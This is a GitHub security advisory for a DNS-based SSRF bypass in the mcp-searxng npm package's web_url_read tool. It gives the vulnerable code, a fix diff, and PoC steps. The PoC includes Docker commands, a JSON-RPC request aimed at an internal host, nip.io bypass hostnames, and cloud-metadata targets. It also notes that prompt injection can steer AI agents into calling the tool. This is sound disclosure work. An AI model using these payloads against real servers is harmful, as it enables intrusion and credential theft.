GitHub Advisoryadvisory · npm
GHSA-mrvx-jmjw-vggc SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- mcp-searxng
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
- Weaknesses
- CWE-918
- Reviewed
- 2026-06-19
Affected packages
• npm mcp-searxng: < 1.7.1 → fixed in 1.7.1
Description
DNS-resolved Private Hostname SSRF in `web_url_read`
Summary
The `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.
Details
The vulnerable code is in `src/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:
```ts
// src/url-reader.ts:85-93
function assertUrlAllowed(url: URL): void {
const security = getHttpSecurityConfig();
if (security.allowPrivateUrls) {
return;
}
if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
throw createURLSecurityPolicyError(url.toString());
}
}
```
This function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src/url-reader.ts:367`, after the security gate has already passed.
The full data flow is:
1. `src/index.ts:37-49` — `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.
2. `src/index.ts:226-240` — `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.
3. `src/url-reader.ts:307-313` — URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).
4. `src/url-reader.ts:85-93` — `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.
5. `src/url-reader.ts:367` — `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.
In the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.
The recommended remediation is to resolve the hostname via `node:dns/promises` inside `assertUrlAllowed()` before the fetch is issued:
```diff
--- a/src/url-reader.ts
+++ b/src/url-reader.ts
@@
import { isIP } from "node:net";
+import { lookup } from "node:dns/promises";
@@
-function assertUrlAllowed(url: URL): void {
+async function assertUrlAllowed(url: URL): Promise {
const security = getHttpSecurityConfig();
if (security.allowPrivateUrls) {
return;
}
+ if (!["http:", "https:"].includes(url.protocol)) {
+ throw createURLSecurityPolicyError(url.toString());
+ }
if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {
throw createURLSecurityPolicyError(url.toString());
}
+ if (isIP(url.hostname) === 0) {
+ const answers = await lookup(url.hostname, { all: true, verbatim: true });
+ if (answers.some(({ address }) => isPrivateIpv4(address) || isPrivateIPv6(address))) {
+ throw createURLSecurityPolicyError(url.toString());
+ }
+ }
}
@@
• assertUrlAllowed(parsedUrl);
+ await assertUrlAllowed(parsedUrl);
@@
• assertUrlAllowed(nextUrl);
+ await assertUrlAllowed(nextUrl);
```
PoC
Prerequisites:
• Docker installed on the test machine.
• The `mcp-searxng` repository cloned locally (version 1.6.0 / commit `90423e5`).
Build the container:
```bash
docker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile .
```
Run the PoC:
```bash
docker run --rm \
--add-host ssrf-target.internal:127.0.0.1 \
-v $(pwd)/vuln-001/poc.py:/poc.py \
mcp-searxng-ssrf-001 \
python3 /poc.py
```
The `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).
What the PoC does:
1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.
2. Starts the MCP server in STDIO mode.
3. Test 1: Sends a `tools/call` request for `http://127.0.0.1:9796/` — this is correctly blocked by `assertUrlAllowed()`.
4. Test 2: Sends a `tools/call` request for `http://ssrf-target.internal:9796/` — this bypasses the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.
Expected output (confirming SSRF):
```
[+] BLOCKED — assertUrlAllowed() correctly rejected 127.0.0.1
[!!!] SSRF BYPASS CONFIRMED
[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response
Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'
URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts)
assertUrlAllowed() sees hostname='ssrf-target.internal' → passes string check
undiciFetch() resolves DNS → 127.0.0.1 → reads internal service
[RESULT] PASS
```
The same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http://127.0.0.1.nip.io:PORT/`), or by controlling a custom DNS record.
MCP JSON-RPC request (STDIO mode):
```json
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"web_url_read","arguments":{"url":"http://ssrf-target.internal:9796/","maxLength":200}}}
```
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server — or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL — can:
• Read internal HTTP services reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).
• Exfiltrate sensitive data such as cloud provider credentials, internal service tokens, or configuration secrets.
• Enumerate internal network topology by probing responses from different internal hosts and ports.
In the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.
The vulnerability has a CVSS v3.1 score of 7.1 (High) and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM node:20-slim
Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 && rm -rf /var/lib/apt/lists/*
WORKDIR /app
Copy the entire repository
COPY . /app/
Install dependencies and compile TypeScript
RUN npm ci && npm run build
Verify the build output exists
RUN test -f dist/index.js || (echo "ERROR: dist/index.js not found after build" && exit 1)
Default: drop into a shell for manual inspection; overridden by docker run
CMD ["node", "dist/index.js"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
PoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read
CWE-918 | CVSS 7.1
The assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the
url.hostname string against private IP/hostname patterns without performing DNS
resolution. A hostname that is syntactically public but resolves to a private
or loopback address at fetch time bypasses the check.
Attack flow:
…
Related
Weakness · CWE (1)
- CWE-918 Server-Side Request Forgery weakness